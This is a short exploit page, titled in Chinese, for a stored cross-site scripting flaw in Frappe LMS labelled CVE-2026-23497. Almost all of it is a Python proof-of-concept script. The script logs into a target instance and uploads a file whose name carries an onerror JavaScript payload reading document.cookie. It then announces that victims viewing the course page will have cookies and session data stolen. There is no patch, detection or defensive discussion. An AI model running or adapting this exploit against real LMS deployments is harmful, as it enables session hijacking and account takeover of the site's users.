CVE-2026-23497 Frappe LMS存储型XSS漏洞

# CVE-2026-23497 PoC - Stored XSS in Frappe LMS # Description: Upload an image with malicious filename to execute JavaScript import requests import json # Configuration TARGET_URL = "https://vulnerable-lms-instance.com" LOGIN_URL = f"{TARGET_URL}/api/method/login" UPLOAD_URL = f"{TARGET_URL}/api/method/upload_file" # Malicious filename with XSS payload MALICIOUS_FILENAME = '<img src=x onerror=alert(document.cookie)>.jpg' # Authentication session = requests.Session() auth_data = { "usr": "[email protected]", "pwd": "password123" } # Step 1: Login to Frappe LMS login_response = session.post(LOGIN_URL, json=auth_data) print(f"Login status: {login_response.status_code}") # Step 2: Upload malicious file files = { "file": (MALICIOUS_FILENAME, b"fake image data", "image/jpeg") } upload_data = { "doctype": "Course", "docname": "target-course-id" } upload_response = session.post(UPLOAD_URL, files=files, data=upload_data) print(f"Upload status: {upload_response.status_code}") print(f"Response: {upload_response.text}") # Step 3: Visit the affected page as victim # When the course page renders, the XSS will be triggered print("\n[XSS Triggered] Victim visits the course page containing the malicious image filename") print("Malicious JavaScript will execute, stealing cookies/session data")